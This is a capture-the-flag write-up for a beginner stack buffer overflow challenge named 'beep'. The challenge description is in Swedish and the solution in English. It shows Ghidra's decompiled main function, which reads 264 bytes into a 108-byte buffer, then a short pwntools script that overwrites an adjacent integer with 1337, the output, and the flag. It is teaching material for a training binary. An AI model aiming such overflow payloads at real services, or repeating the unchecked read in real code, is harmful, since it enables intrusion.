beep

Two cartoon satellites with faces saying 'BEEP!' and 'BOOP!' in space.

Category

Pwn Rev

Difficulty

Easy

Description

Kenneth verkar ha problem med kommunikationen till andra system han tagit över. Harriet har nämligen hittat något slags litet testprogram vars syfte verkar vara att testa att en anslutning fungerar.

Testprogrammet verkar vara ganska minimalt, men även små program kan innehålla buggar…

Anslut till [Challenge URL removed] och testa anslutningen du också.

Om du behöver hjälp med att ansluta finns information om hur du gör för att ansluta till utmaningstjänster på informationssidan.

Harriet tror att det finns en buffer overflow i koden. Pröva att undersöka programmet med t.ex. Ghidra och gdb för att se ifall du kan knäcka buggen!

setup()-funktionen kan ignoreras då den endast sätter en timer på utmaningen samt stänger av buffering på stdin/stdout/stderr.

Provided files

beep

Solution

If we open the binary in Ghidra and look at the main function, it looks like this:

undefined8 main(void)

{
  undefined local_78 [108];
  int local_c;
  
  setup();
  printf("* beeeeeeeeeeeeeeeeeeeeeeeeeeep *\n> ");
  read(0,local_78,264);
  if (local_c == 1337) {
    system("cat flag");
  }
  return 0;
}

We can see that two variables are declared, local_78 and local_c. The first one is a buffer of 108 bytes and the second one is an integer. Later in the code, we can see that the program reads 264 bytes into local_78, which could overflow into the local_c variable which is declared right after it.

The program then checks if local_c is equal to 1337 and if it is, it runs the command cat flag. This means that if we can overflow local_78 and set local_c to 1337, we should get the flag.

We can do this by sending a payload that consists of 108 bytes of junk data followed by the value 1337, properly encoded as 4 bytes in little-endian format. I created a python script to achieve this:

from pwn import *

# Create payload of 108 "a" characters which are a byte each followed by the integer 1337.
payload = b"a" * 108 + p32(1337)

# Connect to the service with SSL
conn = remote("[Challenge URL removed]", 443, ssl=True, sni="[Challenge URL removed]")

# Send payload after receiving the prompt
print(conn.recvuntil(b"> ").decode())
conn.send(payload)

# Receive and print response
print(conn.recv().decode())
conn.close()

The output of the script looks like this:

[+] Opening connection to [Challenge URL removed] on port 443: Done
* beeeeeeeeeeeeeeeeeeeeeeeeeeep *
> 
undut{don0td1sturbth3l0calz}

The flag is undut{don0td1sturbth3l0calz}.

Conclusion

This challenge featured a classic buffer overflow vulnerability where we could write 264 bytes into a 108-byte buffer, allowing us to overwrite adjacent memory with our controlled data. By crafting a payload of 108 bytes of junk data followed by the integer 1337, we satisfied the condition check that revealed the flag. Through basic reverse engineering and understanding of memory layout, we successfully manipulated the program’s execution flow to access the flag.